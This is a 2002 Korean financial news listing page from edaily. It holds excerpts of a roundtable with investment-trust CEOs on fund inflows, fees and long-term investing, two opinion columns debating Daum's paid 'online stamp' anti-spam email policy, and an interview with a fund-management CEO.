따라서 연내 일부의 시각처럼 1400~1500포인트에 달하는 것은 바람직하지 않습니다. 최근의 하락처럼 속도조절을 하는 것이 증시에는 오히려 보약입니다. ▲백 부본부장 = 단기시장예측은 운용회사의 역할은 아닙니다. 단계별 지수를 갖고 운용전략을 짜지 않기 때문에 지수전망치는 저희들에게는 무의미 합니다. 그러나 개인적으로 본다면 마켓상황은 좋습니다. 2분기 장은 1000포인트 돌파 시도는 가능할 것으로 보입니다. 그러나 다소의 문제점도 있습니다. 1분기를 거쳐오면서 경기회복에 대한 기대심리가 너무 놓았던 점과 경제지표들이 지난해 동기대비 좋게 나왔지만 하반기로 갈수록 둔화될 수 있다는 점입니다. 또한 현재의 미수금수준이 과매수라는 것을 보여주고 있어 부담도 있습니다. 그러나 큰 흐름은 바뀐 것이 없습니다. 조정을 거친 후 1000포인트 돌파를 시도할 것이다. ▲이과장 = 시장에서 지수를 전망한다는 것은 무의미합니다. 수치는 크게 중요치 않습니다. 추세적으로 상승추세라면 잔파동은 무시해야 합니다. 추세적으로 상승세가 맞다면 트렌드를 보고 투자해야 합니다. 그러나 1000포인트 돌파는 그냥 이뤄지지 않습니다. 외국인과 기관, 개인 등 모든 투자주체들의 이해관계에 공감대 형성되어야만 합니다. 그래야 시장이 한단계 높아집니다. <하편으로 이어집니다>
2002.04.30 I 박성호 기자
  • (edaily증권좌담)"장기투신상품 운용 절실하다"(중)
  • [edaily 정리=김희석기자]<상편에서 이어집니다> (사회)= 운용보수와 관련해 지나친 경쟁으로 일각에서는 운용의 부실화를 낳을 수 있다는 우려를 낳고 있습니다. 효율적인 방안마련이 필요한 상황 아닙니까. ▲안창희 사장= 현재 30개 투신사 외에 자산운용사, 투자자문사 등 자산운용관련 회사들의 경쟁이 심화되면서 운용보수도 급격히 인하되는 추세를 보이고 있습니다. 최근 업계내부에서도 최소한의 운용보수를 받아야 한다는 공감대는 형성되고 있으나 아직까지는 잘 시행되고 있지 않습니다. 장기적으로는 업계차원에서 공동으로 "운용보수의 가이드라인"이나 "최저수수료"를 정하는 것도 대응방안이 될 수 있으며 또한 성공보수의 도입도 적극적으로 검토하여야 할 것으로 생각됩니다. ▲강창희 사장= 자율화에 따른 과당경쟁은 불가피하게 겪어야 할 과정이라고 봅니다. 시간이 흐르면 투신운용 시장도 구조조정이 될 것으로 보입니다. 앞으로는 운용회사는 브랜드로 대응해야 합니다. 좋은 운용성적을 내면 수수료도 제대로 받을 수 있을 것입니다. 투자자도 최소한의 수수료를 지불해야 제대로 된 운용서비스를 받을 수 있다는 인식이 필요합니다. 특히 양질의 서비스를 받는 것과 운용 수수료를 싸게 해준다는 것을 혼동해서는 안됩니다. 수수료를 더 지불하고 더 좋은 서비스를 받겠다는 자세가 요구됩니다. 운용수수료와 판매수수료를 분리하는 것도 시급합니다. ▲이강원 사장= 적정 운용보수를 받아 운용사는 운용에 최선을 다하고 그 결과치가 수익자에게 분배되므로 윈윈(Win-Win) 할수 있습니다. 투신업이 발전되면 운용보수의 차별화는 자연스럽게 이어질 것으로 보입니다. 현재 상황에서 업계 차원에서의 공동대응은 공정거래법상 가격담합의 문제가 발생할 수 있으므로 적절한 조치는 아니라고 봅니다. (사회)= 간접투자상품에 대한 관심이 갈수록 높아지고 있습니다. 그렇지만 투신권의 상품이 선진국에 비해 너무 단기로 운용된다는 지적이 있습니다. ▲강창희 사장= 투자에 성공하려면 개별종목위험과 시장위험을 피해야 합니다. 개별종목 위험은 기업방문과 철저한 분석을 통해 피할 수 있습니다. 그렇지만 시장위험 특히 단기적인 위험은 피할 수 없습니다. 그렇기 때문에 장기운용을 해야 합니다. 단기예측은 불가한 것인데 하려고 무리하게 하다보니 "운"에 의존하는 비중이 커집니다. ▲이강원 사장= 펀드투자는 기본적으로 마라톤 경기라고 생각합니다. 그러나 시장에서는 마라톤 경기에 임하는 선수에게 100미터 달리기 하듯 뛰기를 원하니 여간 어려운 것이 아닙니다. 중장기 투자가 불가능하므로 우량종목의 장기 보유가 어려우며 단기 시황을 따라 가는 운용이 불가피 해지는 경우가 종종 있습니다. ▲안창희 사장= 펀드가 단기로 운용되는 경우 장기적인 관점에서 저평가 종목을 발굴하는 등의 장기투자 전략으로 운용하는 것이 불가능합니다. 단기등락에 편승하려는 전략을 취하니까 장기투자가 위주인 외국인에 비해 실적이 상대적으로 저조한 실정입니다. 또 CB나 장기채권 등의 투자대상을 편입하기에도 어려움이 있습니다. (사회)= 그렇다면 장기상품이 나오지 못하는 이유는 무엇 때문이라고 보십니까? ▲이강원 사장= 현재 국내시장 여건상 장기투자를 할 경우 특별한 메리트가 없습니다. 부침이 심한 국내 주식시장이 주요 원인이지만 장기투자에는 세제 혜택이라든지 수수료의 인하 등 우대조치가 없습니다. 또한 새것이 좋다는 식으로 주가가 상승하면 너도나도 새 펀드를 발매하는 것이 문제라고 생각됩니다. ▲안창희 사장= 수익자인 국내 기관들의 단기적인 투자성향이 가장 큰 요인이라고 볼 수 있습니다. 물론 미국에 비해 연기금등과 같은 장기적인 성격의 투자자금 비중이 낮은 이유도 있지만 우리나라 금융환경이 급변하고 있고 금융당국에서도 1년 단위 위험자산평가를 하는 등 여러가지 여건들이 장기투자를 뒷바침하지 못하고 있습니다. 따라서 상품들도 장기보다는 단기상품 위주로 판매될 수 밖에 없는 실정입니다. ▲강창희 사장= 투자자들로서는 펀드를 운용하는 운용회사와 투자대상 기업을 믿을 수 없다는 인식이 있습니다.또 과거 주가의 흐름상으로도 장기투자를 했다면 손해 볼 수밖에 없었습니다. 따라서 기업에 대한 신뢰와 장기투자를 해야 성공한다는 인식의 변화가 있어야 합니다. 미국에서 가장 오래된 펀드는 77년의 역사를 갖고 있습니다. 이펀드는 그동안 일본의 진주만 기습이나 9.11테러의 경우에도 환매가 거의 없었습니다. 참고 기다린다는 훈련이 돼 있기 때문입니다. 우리도 장기투자라야만 성공한다는 투자교육이 절대적으로 필요합니다. (사회)= 요즘 대형 기관들이 운용사를 지정하면서 수탁사도 직접 지정하려고 한다는 이야기가 들립니다. 지나친 간섭인가요, 현실의 변화인가요 ▲안창희 사장= 요즘 대형기관은 수익증권에 가입하면서 특정 수탁사를 지정하는 사례가 점차 많아지고 있는 추세입니다. 자금의 운용을 맡긴 기관의 입장에서는 수탁사를 지정함으로써 자신들이 가입한 펀드의 운용 및 리스크관리 등을 효과적으로 관리하고 있기 때문입니다. 이에 따라 간섭이라기 보다는 어쩔 수 없는 현실의 변화라고 여겨집니다. 그러나 운용사의 입장에서는 수탁사의 수가 증가함에 따라 신탁회계 업무나 자금운용에서 비효율적인 점들이 발생하기 때문에 바람직하다고만 볼 수는 없습니다. ▲강창희 사장= 공모펀드라면 문제 있으나 사모펀드나 일임자문의 형태라면 크게 문제될 게 없다고 봅니다. ▲이강원 사장= 현재 가능하면 대형 기관들이 요구하는 방향으로 수탁사를 지정하고 있는 상황이며 수익자들이 요구하는 방향으로 가는 것이 순리라고 생각 됩니다. (사회)= 자금이 추가로 주식시장에 유입될 규모는 어느정도로 보십니까. ▲강창희 사장= 외국투자자금 유입순증이 없더라도 개인 금융자산중 주식형 수익증권과 주식의 비중이 5%만 늘어난다면 40조~ 50조원이 증가할 것입니다. ▲이강원 사장= 3월 이후 개인대상 펀드 유치 활동 증가 및 3월 결산 기관들의 4월이후 재투자분의 증가 예상으로 꾸준한 자금 유입이 예상됩니다. ▲안창희 사장= 99년 당시에는 주식형 수익증권으로 약 35조원의 자금이 유입되었으며 이 자금은 대부분 기관자금으로 분석됩니다. 저금리와 현재 호전하고 있는 경제여건, 은행예금 450조원, 채권형펀드자금 105조원 등의 주변자금을 비교해 보면 99년 보다 증시환경이 양호하기 때문에 99년 수준 이상의 자금유입이 예상됩니다. <하편으로 이어집니다>
2002.03.28 I 김희석 기자
  • (edaily증권좌담)"간접상품 자금유입 점차 가속"(상)
  • [edaily 정리=김희석기자] 주식시장이 1000포인트의 길목인 900선에 접어들었다. 이른바 경제의 체온계인 주가지수의 눈금이 올라가고 있는 것이다. 뿐만 아니라 주식시장이 질적으로 변화하고 있으며 투자패턴도 달라지고 있다. 특히 저금리 기조가 정착되고 경기가 살아나면서 간접투자에 대한 관심이 고조되고 있다. 바야흐로 재테크의 새로운 포트폴리오가 필요한 시점이며 시중 자금의 이동이 본격적으로 전개되는 초입국면을 맞고 있다. 3월28일로 창간 2주년을 맞는 edaily는 투신운용사 사장들을 초청해 주식시장 전망 및 투자패턴의 변화 등을 짚어보는 특별 증권좌담회를 마련했다. 27일 낮 edaily 편집회의실에서 열린 이번 좌담회에는 강창희 굿모닝투자신탁 운용 사장, 안창희 한화투자신탁운용 사장, 이강원 LG투자신탁운용 사장(이상 가나다순)이 참석했고 김진석 edaily 증권부장의 사회로 진행됐다. 좌담회의 내용을 상, 중, 하로 나눠 싣는다. (사회)= 주식시장의 강세흐름이 이어지면서 증시로의 자금유입도 늘고 있습니다. 현장에서의 분위기는 어떻습니까. 자금의 유입 규모와 속도, 그리고 성격에 대해 말씀해 주시죠. ▲이강원 사장= 자금이 들어오는 속도는 점차 빨라지고 있습니다. 주식형과 혼합형의 수탁고 증가 추세를 보면 올해 1월에 1조8000억원, 2월에 2조1000억원, 3월에는 22일 현재 2조7000억원으로 급속히 증가하는 추세입니다. 자금의 성격은 주로 연기금, 은행, 보험 등 기관투자가 위주의 자금이 주식혼합형 및 주식형으로 유입되고 있으며 개인의 경우 최근에 주식형 펀드에 대한 관심이 증가하는 추세입니다. 특히 장기증권저축을 중심으로 꾸준히 증가하고 있습니다. ▲안창희 사장= 작년 9.11테러 이후 연말까지는 주가가 올랐어도 주식관련 수익증권은 소폭 감소세를 보였습니다. 올해들어 자금유입이 빠른 속도로 증가, 3월 22일 현재 54조8000억원으로 작년말대비 14.2% 늘었습니다. 일반적으로 안정적이면서도 고수익을 원하는 투자자들은 채권혼합형 위주로, 증시를 낙관하는 투자자들은 주식형 위주로 들어오고 있습니다. 올해들어 채권형이 7.0% 감소한 반면 주식형은 18.2%, 채권혼합형은 22.5% 증가했습니다. ▲강창희 사장= 순수 주식형 보다는 혼합형이 증가하고 있습니다. 시간이 흐를수록 자금 유입속도가 빨라지고 있기는 하지만 지난 99년 바이코리아(BUY KOREA) 열풍이 불었던 상황에 비한다면 크다고 볼수 없습니다. 이제 유입되기 시작했다고 봐야 할 겁니다. 우리회사의 경우를 보더라도 개인투자자 자금은 아직 미미하고 금융기관, 기금 등의 자금이 주류를 이루고 있습니다. (사회)= 올들어 증시주변 환경의 변화에 대해선 어떤 견해를 갖고 계십니까? ▲안창희 사장= 최근 우리나라 증시환경은 올해초를 기점으로 다른 양상을 보이고 있습니다. 9.11테러 이후에는 경기진작을 위한 정부의 노력이 반영됐던 시장이었습니다. 올해에는 정부노력에 따른 투자심리 회복과 함께 기업실적 개선이라는 기대감이 작용하고 있습니다. 즉 유동성 장세에서 실적장세로 전환하고 있는 것이죠. 저금리의 기조가 유지될 가능성이 높은 상황이라 운용의 패턴도 개인이나 기관들이 직접 하기보다는 유가증권 운용에 전문성을 가진 투신운용사 내지는 투자자문사 같은 전문운용기관으로서의 위탁운용형태의 비중이 늘어나면서 기관화장세의 모습도 진전되고 있다고 봅니다. ▲강창희 사장= 가장 큰 변화중 하나는 해외투자가들의 한국 기업에 대한 인식이 변화했다는 점입니다. 사정이 나쁜 일본과 비교하면서 한국에 대한 선호도를 높이고 있습니다. 또 그동안 주식비율을 철저하게 줄여왔던 국내 기관들도 주식편입비율을 높이고 있습니다. 저금리시대를 맞아 투자수단으로서의 주식에 대한 인식이 변화하고 있습니다. 특히 고령화시대가 도래하면서 노후대비 차원에서 자산운용에 대한 관심이 높아졌습니다. 또한 이번에는 종합주가지수가 500~ 1000선의 박스권에서 탈피할 것이란 기대감이 커지고 있습니다. ▲이강원 사장= 유사이래 최초로 ROE가 금리를 초과하기 시작했다는 점을 들 수 있습니다. 경기사이클이 회복됐고 한국 경제의 구조조정 효과가 가시화되고 있으며 IT와 전통산업이 조화를 이루고 있습니다. 기업들의 경쟁력은 강화됐고 재무구조도 건전해졌습니다. 수급요인을 본다면 정부가 부동산 시장에 대해 규제를 강화하고 있으며 지난 99년 1000포인트에서 설정됐던 주식형 펀드의 환매가 사실상 종료됐다는 점도 긍정적입니다. 이와함께 채권형 펀드가 주식형 펀드로 전환하고 있으며 예탁금 규모도 증가하는 등 유동성이 강화됐습니다. . (사회)=자금운용과 관련, 주식과 채권투자 비중은 어떻게 변화하고 있습니까? ▲강창희 사장= 서서히 주식관련 상품의 비중이 증가세를 보이고 있습니다. 지난해말 기준으로 주식형과 혼합형의 비중이 32.7%였는데 이달 하순 현재 34.3%로 높아졌습니다. 주식관련 상품의 비중이 높아진 것은 일임자문이 부쩍 늘었기 때문입니다. 그동안 주식을 사지 못했던 기관이나 법인들이 움직이고 있다고 봅니다. ▲이강원 사장= LG투신의 경우 일반 성장형 펀드 기준으로 주식 비중이 지난해말 2001년 75%내외에서 현재 85%내외로 증가하는 추세에 있으며 상대적으로 채권 투자 비중은 감소하는 경향이 있습니다. 채권형 펀드의 경우 순수 채권투자비중은 약관상 최저 편입비 수준을 유지하고 있습니다. ▲안창희 사장= 최근 유입된 자금의 성격에서도 알수 있듯이 순수채권형으로의 자금유입보다는 주식을 편입할 수 있는 주식관련 수익증권으로의 자금유입속도가 더 빠르기 때문에 과거보다 전체적으로는 주식의 투자비중이 더 늘어나고 있다고 말씀 드릴수 있습니다. 더구나 향후 금리상승이 예상되고 있기 때문에 주식투자비중은 지속적으로 늘어날 것으로 보입니다. (사회)= 주식운용과 관련, 특정 종목에 대한 편입비중 규제로 인한 운용상의 어려움은 없으십니까. ▲이강원 사장= 펀드의 운용과 관련해 과도하게 특정종목 비중이 높다는 것은 분산투자의 원칙에 어긋나지만 현실적으로 시가총액 비율 만큼은 투자가 가능하도록 규제가 풀어져야 한다고 생각됩니다. 현행 법상 10% 룰은 특정종목 편입비중 규제로 인한 운용의 어려움이 있습니다. 특히, 기본 포트폴리오를 구축할 때 삼성전자를 시가총액만큼 투자할 수 없습니다. 6월 12월말 시가총액 비중대로 6개월간 투자해야 하기 때문이죠. 인덱스 펀드의 경우 트래킹에러가 발생할 가능성이 있으며 액티브 펀드도 코스피 대비 초과수익을 얻는 것이 쉽지 않은 상황입니다. ▲안창희 사장= 본래 기관의 주식운용 특성은 계란은 한 바구니에 담지말라는 말에서도 알수 있듯이 분산투자를 기본 원칙으로 하고 있습니다. 현재 편입비중 규제에 해당하는 종목은 개별종목당 한도 10%를 초과하는 시가총액 비중을 가진 삼성전자 한 종목에 국한되고 있는데 이로인해 펀드운용에 제약을 받는 어려움은 그렇게 크지 않다고 여겨집니다. <중편으로 이어집니다>
2002.03.28 I 김희석 기자
  • (사이버논쟁)온라인우표제, 넷환경 건전화에 도움
  • [김동호 동국대 영자신문사 The Dongguk Post편집장] 한메일은 국내에서 가장 많은 회원을 거느리고 있는 대표적인 포털(Portal)사이트이다. 실제로 거의 대부분의 학우들이 한메일 계정은 하나씩 가지고 있다. 그러한 다음 측에서 온라인 우표제를 실시하여 광고성 대량메일을 보내는 회사측에 요금을 부과하기로 해 많은 기업으로부터 반발을 사고 있다. 일부 사이트에서 우표제의 취지를 잘못 이해, 카드메일, 고지서 등 정보성 메일을 한메일넷 이용자에게는 전달하지 않겠다고 하기도 했다. 얼마 전에 e4u라는 어학학습용 메일을 보내주는 업체로부터 앞으로 다음계정으로 메일을 원할히 보내는데 문제가 있을 수도 있으니, 다른 메일 주소로 발송할 수 있도록 새 주소를 기입해 줄 것을 권고하는 메일을 받은 적이 있다. 한메일의 경우 메일 저장 용량이 5M밖에 되지 않는데다가 즐겨보는 메일인데 정상적으로 배달되지 않을 수 있다고 하니 별로 망설임없이 다른 메일계정으로 발송해달라고 회원정보를 수정한 기억이 있다. 아무리 정보성 메일이라고 하더라도 그것을 보내는 업체가 한메일넷의 요구대로 주소(IP)를 Daum에 등록하지 않는다면 스팸을 보내는 업체로 분류되기 때문에 이용자들의 입장에서는 계정을 바꾸어서라도 받아보려고 한다. 물론 정보성 메일을 보내는 업체들이 모두 IP를 Daum에 실명으로 등록하기를 꺼리지 않는다면 문제될 것이 없겠지만 몇몇 업체들은 무슨 이유에서인지 그것을 꺼리는 듯하다. 한편 다음의 IP(인터넷 주소) 실명제 접수가 2월 25일 마무리되었다고 한다. 25일 당시 다음커뮤니케이션(대표 이재웅)의 온라인 우표샵을 통한 IP접수는 약 1000개에 달했으며 e메일환경개선협의체를 통해서도 700여개IP가 접수됐다. 그러나 e메일자유모임 측에서는 다음의 온라인 우표샵을 통한 IP 등록이 다음의 수익 확보 이상의 의미를 갖지 못한다는 주장을 여전히 제기하고 있다. 한메일넷측에 따르면 ‘온라인 우표제’를 시행하는 목적이 회원님들의 편지함에서 스팸메일을 줄이고, 무분별하게 보내는 대량메일을 줄이기 위해서라고 하며 회원들이 불필요한 메일과 스팸이 줄어들어 더욱 깨끗한 메일 서비스를 이용하실 수 있음을 강조한다. 다음의 기대대로 온라인 우표제가 본격 시행될경우 e메일 발송업체로서는 막대한 마케팅 비용을 부담할 수밖에 없게 될 것이다. 실제로 스팸 메일의 해악성에는 수많은 일반 메일 user들이 치를 떨고 있고 뭔가 조치가 필요하다고 생각이 절실하다. 그렇기에 보고 싶지 않은 각종 광고 메일을 지우는 작업에 시달리지 않게 된다면 이를 지지할 수 있다고 본다. 물론 그것을 통해 다음이 얻는 수익이 서버 증설 등 다음 회원들의 서비스 이용에 그대로 환원되지 않을 수 있음이 들어난다면 문제는 달라질 것이다. 다음이 최초로 시도한 온라인 우표제는 지금도 여전히 끊임없는 논란을 불러일으키고 있고 많은 비판을 받고 있다. 하지만 불필요하게 마구잡이 식으로 보내어지는 스팸 메일들을 줄임으로서 건전한 인터넷 커뮤니케이션 환경을 만들 수 있는 첫 단추가 될 수 있다는 점을 고려해 볼때, 수많은 메일계정을 이용해 본 경험이 있는 한 대학생으로서 다음의 온라인 우표제가 활발한 여론형성을 몰고 와 더 좋은 해결책이 있다면 빨리 시행되었으면 하는 바람이다.
2002.03.28 I 박영환 기자
  • (사이버논쟁)온라인우표제,"득보다 실이 커"
  • [김경익 이메일 자유모임 대표(레떼컴 사장)] "다음측에 단 한푼도 낼 수 없다". 왜냐고? 다음측은 온라인 우표제가 스팸메일을 줄일 수 있고, 서버운영에 비용이 지출되는 만큼 각 기업들이 부담을 나눠야 한다고 주장하고 있다. 자선단체가 아닌 한 다음으로서는 당연히 이렇게 말할 만하다. 그러나 이는 논리와 실효성이 없는, 공허한 주장에 불과하다. 첫번째, 스팸메일이 줄어들 것인가? 전혀 그렇지 않다. 다음이 이미 우표샵에 등록했거나, 등록할 소수의 몇몇 기업을 상대로 하는 이메일 회사로 전락한다면 아마 가능할 수도 있을 것이다. 하지만 수천만개의 IP주소 중에서 1만분의 1도 못되는 회사의 이메일만 접수하는 곳을 이메일 회사로 볼 수 있을 것인가? 특히 다음이 제시한 스팸메일 기준(특정 IP에서 발송되는 하루에 1천통 이상의 메일)은 가히 놀랄만 하다. 이미 스팸발송자들은 특정 IP를 대응해 `유동IP`를 준비하고, 크기를 1천통이라는 기준 대신 999통을 선택했다. 말도 안되는 스팸의 기준은 다음을 보호해 줄 수 없게 만든다. 결국 한메일(@hanmail.net) 사용자의 메일 박스에는 전보다 더 많은 스팸메일이 쌓이게 될 것이다. 두번째로 왜 기업들은 돈을 한푼도 안내려 하는가? 다음은 `인터넷 우정사업국`이 될 수 없다. 오프라인 우정사업국의 기능은 이미 `인터넷 망 사업자`가 수행하고 있다. 망 사업자가 인프라 구성을 했고, 각 인터넷 업체들은 사용료를 공히 지불하고 있으며, 맨 마지막에 소비자가 존재한다. 다음은 여러 기업들 중의 하나일 뿐이다. 온라인 우표제가 제도로서 시행 가능하려면 정부가 해야만 한다. 그리고 다음에만 돈을 지불해야 하는 게 아니라 다음도 천문학적인 돈을 다른 포탈과 기업들에게 고스란히 바쳐야 한다. 이건 단순한 인터넷의 철학에 관한 문제가 아니다. 우표제는 몇몇 경영진의 꿈에서나 실현 가능한 것이다. 마지막으로 인터넷의 자유스러운 정신과 부가가치 창출의 관계이다. 이미 이번 IP등록을 놓고 업계에서는 다음을 바라보는 시선이 곱지 않다. 심지어 경쟁 포탈의 경우도 서버가 증설될 때마다 신규 IP 어드레스를 다음에 통보해야만 하느냐며 분통을 참지 못하고 있다. 이메일은 이제 인터넷의 본질이자 디지털 경제의 핵심 인프라이다. 이 신경제 인프라를 어떻게 일개 기업에게 줄 수 있는가? 개인과 개인, 기업과 개인이 자유로운 커뮤니케이션을 할 수 있어야 하며, 이 과정에서 엄청난 부가가치가 존재한다. 그게 바로 디지털 경제의 근간인 것이다. 스팸메일은 줄여야 하지만 이메일은 자유로워야 하며 이메일의 양은 증가되어야 한다. 이번 우표제로 인하여 업계의 파장과 그 손실은 여간 크지 않을 것이다. 고수익 비즈니스 모델 창출에 매진해야 할 때 소비적인 정책싸움에 매달려 있고, 고객들을 대상으로 계정전환 캠페인이나 벌이는 것은 한심하다. 특정 기업의 패권주의적 발상이 한국 인터넷 전체를 무질서로 몰아 넣고 있다. 다음이 계속해서 우표제를 고집한다면 한국 인터넷은 폐쇄형 인터넷으로 전락할 것이며, 다음도 우표제로 얻는 이익보다 잃는게 더 클 것이 자명하다. 이제 다음이 귀를 열어야 할 때이다. 황금거위의 배 속에 손을 넣어 황금알을 꺼내려 해서는 안된다.
2002.03.26 I 박영환 기자
  • "올수탁고 16조..4위도약"-이용민 제투운용대표
  • [edaily] "올해에는 수탁고를 16조원까지 높여 현재 업계 5위에서 4위로 도약하겠습니다" 최근 수탁고 13조원을 돌파한 제일투자신탁운용 이용민(李庸敏.52세) 대표는 14일 오후 edaily기자와 가진 인터뷰에서 이같이 밝혔다. 이 대표는 "13조원 돌파로 올해 그룹과 약속한 1차 목표에는 도달했다"며 "개인적으로 설정한 목표인 16조원을 달성해 업계 순위를 바꾸겠다"고 자신감을 나타냈다. 간접상품으로의 관심이 고조되는 분위기와 함께 투신사 수탁고 경쟁에 뛰어든 셈이다. 13일현재 수탁고 수준을 보면 삼성투신운용이 21조1147억원으로 1위를 기록하고 있고 대한투신운용이 17조8072억원, 한국투신운용 16조8020억원, 현대투신운용 16조4180억원 등의 순서로 2~ 4위를 형성하고 있다. 제일투신운용은 13일현재 수탁고는 13조86억원. 지난해 12월말 이후 2조5579억원이 증가했다. 이같은 제일투신운용의 수탁고 증가분은 동기간 투신업계 총수탁고증가분인 12조 5829억원의 20%을 차지하는 것이다. 이용민 대표는 "MMF의 경우 연말 인출됐던 법인자금들이 다시 환류된데다 풍부한 시중유동자금의 유입으로 수탁고의 큰 폭 상승을 보였고 또 채권형은 알파스왑펀드의 약진이 돋보여 이펀드의 설정액이 설정일 대비 1조3677억원, 연말대비 1조550억원 증가했다"고 설명했다. 그는 또 "이같은 수탁고의 증가세는 금리변동에 적극적으로 대처할수 있는 운용전략 및 상품의 보유와 전략적 마케팅이 시장에서 인정을 받았기 때문이며 특히 투신권 최초로 스왑 및 채권차익거래를 이용한 알파스왑펀드는 금리상승기에도 불구 탁월한 수익률 실현으로 수익증권 수요자들에게 호응을 얻고있다"고 말했다. 이와함께 대우사태와 IMF를 겪으면서 고객에게 제시한 수익률에 최대한 근접해서 주려고 노력했으며 이과정에서 무리한 수익률을 제시하지 않은 점이 도리어 좋은 평가를 받고 있다고 말했다. 펀드운용 담당자에게도 "무리하지 말것"을 신신당부하고 있다고 강조했다. 영업전략에 대해서는 안정성과 고객들의 신뢰를 강조했다. 이 대표는 "분식회계 기업 명단이 나돌았을 때 즉각 펀드현황을 파악하고 해당기업의 채권을 모두 처분했다"고 소개했다. 또 "편입하고 있는 주식들도 IMF이후 부도를 맞은 경우가 한차례도 없으며 채권도 투기등급은 없다"고 말했다. 주식시장 전망과 관련, 이 대표는 "올해말 종합주가지수가 1300포인트 이상 올라까지 갈 것이며 상승흐름이 2000포인트까지 이어질수 있을 것"이라며 "주식시장이 130%정도 상승할때 200%의 수익률을 얻을수 있는 포트폴리오를 구성중이다"고 소개했다. 조만간 주식형펀드를 선보일 것이라는 예고다. 이 대표는 현안에 대해 "프루덴셜이 오는 10월이후 모회사인 제투증권에 들어올 계획인데 이에맞춰 시스템을 맞춰가는 것"이라며 "제일투신과 프루덴셜이 지향하는 바가 같기 때문에 적응하는데는 큰 문제가 없을 것"이라고 덧붙였다. 이용민 대표는 50년생으로 성균관대 경제학과와 부산대 경영대학원을 졸업했다. 76년 한국증권금융에 입사, 조사부와 업무개발부에서 근무했고 89년 제일투자신탁으로 옮겨 증권사 상무와 운용사 상무를 거쳐 지난해 6월부터 제일투신운용의 대표이사를 맡아왔다.
2002.03.15 I 김희석 기자
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